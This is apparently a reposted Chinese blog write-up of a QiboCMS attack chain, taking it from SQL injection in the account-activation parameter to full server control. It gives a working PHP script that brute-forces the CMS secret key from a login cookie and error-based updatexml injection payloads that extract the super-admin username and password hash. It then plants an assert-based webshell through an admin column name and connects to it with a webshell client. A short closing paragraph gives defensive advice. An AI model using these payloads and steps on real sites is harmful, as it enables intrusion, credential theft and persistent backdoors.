QiboCMS从SQL注入到getshell

栏目: 编程工具 · 发布时间: 6年前

漏洞产生分析

首先在do/.activate.php文件中找到发送激活序列的代码:

QiboCMS从 <a href='https://www.codercto.com/topics/18630.html'>SQL</a> 注入到getshell

提取重要信息:

  • 激活url: do/activate.php?job=activate&md5_id=$md5_id

由激活的链接可以在此文件找到账号激活触发的流程:

QiboCMS从SQL注入到getshell
  • 激活序列$md5_id在经过mymd5()函数的解密后生成$username和$password
  • 然后将$username代入了get_allInfo()函数,在inc/class.user.php文件中找到该函数:

QiboCMS从SQL注入到getshell

  • 发现get_allInfo()是一个获取用户信息的函数,$username有被传入了get_passport()函数,进入:

QiboCMS从SQL注入到getshell

  • 此函数直接执行了数据库的查询,纵观全过程,并没有对激活序列解密得到的$username进行过滤,由此可以进行sql注入。

本地测试

  • 在本地,直接利用mymd5()函数构造注入的激活序列(由于没有回显,测试发现有报错信息)

    echo mymd5("aaa' and (updatexml(1,concat(0x7e,(substring((select flag from flag),1,32)),0x7e),1))#'\taaaa");

    然后进行访问得到:

QiboCMS从SQL注入到getshell 证明,激活验证处可以进行注入,那么,接下来我们看一看远程的qibocms的激活验证如何进行可注入。

漏洞利用

上文我们已经得到了可以利用激活验证进行sql注入,那么,接下来我们分析如何利用:

  • 首先我们找到激活序列如何生成的,在do/.activate.php文件:
    QiboCMS从SQL注入到getshell 我们可以看到激活序列$md5_id的生成语句
    $md5_id=str_replace('+','%2B',mymd5("{$rs[username]}\t{$rs[password]}"));
    $md5_id是对注册的用户密码拼接后在用mymd5函数加密后形成的。
  • 接下来,我们看一看mymd5()函数(inc/function.inc.php)
QiboCMS从SQL注入到getshell

可见,函数中存在一个加密密钥

$secret_string = $webdb[mymd5].$rand.'5*j,.^&;?.%#@!';

由两个变量和一个固定字符串组成,在激活序列加密过程中$rand为空,那么我们只需要知道$webdb[mymd5]就可以构造出密钥,也就可以在本地构造激活序列。

  • 在do/activate.php中找到了$webdb[mymd5]生成方法

QiboCMS从SQL注入到getshell 继续进入rands()函数 (inc/function.inc.php)

QiboCMS从SQL注入到getshell 由此,可知$webdb[mymd5]是一个以 (double)microtime() * 1000000 为随机种子的十位随机字符串

  • 提取重要信息:随机种子是0-999999

由此可得利用方法一:

​ - 利用随机种子是0-999999,进行爆破,一共一百万次,如果站长不修改默认的密钥的话,总能爆出来,不过不提倡,咱们是文明人

  • 继续分析:既然咱们不去远程爆破,那咱们就在本地爆破,获取一个我们所知的数据经过mymd5()加密后形成的数据,既可以在本地进行爆破对比,从而可以得到密钥:
  • 我们要找一个能够显示相关数据的地方:
    1. 验证激活的地方
      QiboCMS从SQL注入到getshell 可以看到如果账号需要激活,网站会把用户名和密码组成的字符串加密后发到注册邮箱,由此我们可以根据邮件里的激活序列在本地进行爆破
    2. COOKIE里,在inc/function.inc.php里找到了set_cookie()函数(ps:这不重要,重要的是可以全局搜索set cookie + +)
QiboCMS从SQL注入到getshell

在synlogin()函数中将用户密码加密在cookie中显示,并且这个cookie在用户登录之后就会被设置,

由此,我们可以注册一个用户并登陆,然后根据我们设置的密码和passport的cookie,在本地进行密钥爆破

验证:

  1. 注册admin123:admin123的用户,并查找cookie
QiboCMS从SQL注入到getshell

2.提取cookie:

4%09admin123%09VlUJBwQHVQcOVVVRDwNWAlMCCFMAAwZYXFUEAVYGA1U%3D1f1f2c0a1c

根据 set_cookie("passport","$rs[uid]\t$username\t".mymd5($rs[password],'EN'),$cookietime); url解码后提取出密码admin123加密之后的数据 VlUJBwQHVQcOVVVRDwNWAlMCCFMAAwZYXFUEAVYGA1U=1f1f2c0a1c

  1. 编写脚本爆破
$md5_id="VlUJBwQHVQcOVVVRDwNWAlMCCFMAAwZYXFUEAVYGA1U=1f1f2c0a1c";
$passwd="admin123";
get_webdb_mymd5();

function get_webdb_mymd5(){
    global $passwd;
    global $md5_id;
    global $webdb_mymd5;
    for($seed = 999999;$seed>=0;$seed--){
        print "[-] 正在测试种子:$seed\n";
        $webdb_mymd5=rands($seed);
        $payload = mymd5(md5($passwd));
        if($payload==$md5_id){
            print $payload.rands($seed);;
            print " [-] 密钥:$webdb_mymd5 \n";
            // file_put_contents("data.log","$url-----@@$webdb_mymd5@@\n",FILE_APPEND);
            return $webdb_mymd5;
        }
    }
    die("no \n");
}

function mymd5($string,$action="EN",$rand=''){ //字符串加密和解密 
    global $webdb_mymd5;
    if($action=="DE"){//处理+号在URL传递过程中会异常
        $string = str_replace('QIBO|ADD','+',$string);
    }
    $secret_string = $webdb_mymd5.$rand."5*j,.^&;?.%#@!"; //绝密字符串,可以任意设定 
    if(!is_string($string)){
        $string=strval($string);
    }
    if($string==="") return ""; 
    if($action=="EN") $md5code=substr(md5($string),8,10); 
    else{ 
        $md5code=substr($string,-10); 
        $string=substr($string,0,strlen($string)-10); 
    }
    //$key = md5($md5code.$_SERVER["HTTP_USER_AGENT"].$secret_string);
    $key = md5($md5code.$secret_string); 
    $string = ($action=="EN"?$string:base64_decode($string)); 
    $len = strlen($key); 
    $code = "";
    for($i=0; $i<strlen($string); $i++){
        $k = $i%$len; 
        $code .= $string[$i]^$key[$k]; 
    }
    $code = ($action == "DE" ? (substr(md5($code),8,10)==$md5code?$code:NULL) : base64_encode($code)."$md5code");
    if($action=="EN"){//处理+号在URL传递过程中会异常
        $code = str_replace('+','QIBO|ADD',$code);
    }
    return $code;
}

function rands($seed,$length=10) {
    $hash = '';
    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz';
    $max = strlen($chars) - 1;
    mt_srand($seed);
    for($i = 0; $i < $length; $i++) {
        $hash .= $chars[mt_rand(0, $max)];
    }
    $hash=strtolower($hash);
    return $hash;
}

QiboCMS从SQL注入到getshell 得到密钥,将密钥写进mymd5()函数中,开始你的注入吧!!!

等等,这就结束了?有句话说的好,不想拿 shell 的厨子不是好司机

深入攻击

本地分析cms的数据库,发现在qb_memberdata表中设定了用户的权限:

QiboCMS从SQL注入到getshell 权限的设置为

QiboCMS从SQL注入到getshell

所以思路来了:

  1. 利用注入得到超级管理员的用户名和密码
  2. 进入管理后台getshell

实现:

  • 构造查询超级管理员用户名,sql:

    and (updatexml(1,concat(0x7e,(substring((select username from qb_memberdata where groupid=3),1,32)),0x7e),1))

QiboCMS从SQL注入到getshell

得到用户名:admin666

  • 构造查找密码sql:

    and (updatexml(1,concat(0x7e,(substring((select password from qb_members where username='admin666'),1,32)),0x7e),1))#

QiboCMS从SQL注入到getshell 得到密码MD5后值8a30ec6807f71bc69d096d8e4d501ad,在cmd5解密之后得到:admin666

  • 登录管理后台,参考 齐博cm后台getshell文章

    增加栏目为${assert($_POST[a])},后门直接写入/data/guide_fid.php文件中,菜刀连之即可。

QiboCMS从SQL注入到getshell 可以看到/data/guide_fid.php文件

QiboCMS从SQL注入到getshell

  • 菜刀链接:

QiboCMS从SQL注入到getshell

getshell!!!

总结

刚开始接触到这个漏洞时,也没想到有什么好的利用方式,不过随着逐步的深入研究,发现还是有很多的利用方式的,本想直接把注册的用户修改成超级管理员权限,不过测试了半天没成功,只能退而求其次解密超级管理员的密码了,不过现在个各大MD5网站,不加盐的MD5除非特别复杂的密码没办法解出来,一般的都能解出来。

也提醒了我们在设计时,在sql语句在带入数据库查询前一定要进行白名单过滤;在对密码加密时一定要考虑被破解的概率。


以上所述就是小编给大家介绍的《QiboCMS从SQL注入到getshell》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Python编程

Python编程

[美]埃里克·马瑟斯 / 袁国忠 / 人民邮电出版社 / 2016-7-1 / CNY 89.00

本书是一本针对所有层次的Python 读者而作的Python 入门书。全书分两部分:第一部分介绍用Python 编程所必须了解的基本概念,包括matplotlib、NumPy 和Pygal 等强大的Python 库和工具介绍,以及列表、字典、if 语句、类、文件与异常、代码测试等内容;第二部分将理论付诸实践,讲解如何开发三个项目,包括简单的Python 2D 游戏开发如何利用数据生成交互式的信息图......一起来看看 《Python编程》 这本书的介绍吧!

MD5 加密
MD5 加密

MD5 加密工具

SHA 加密
SHA 加密

SHA 加密工具

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具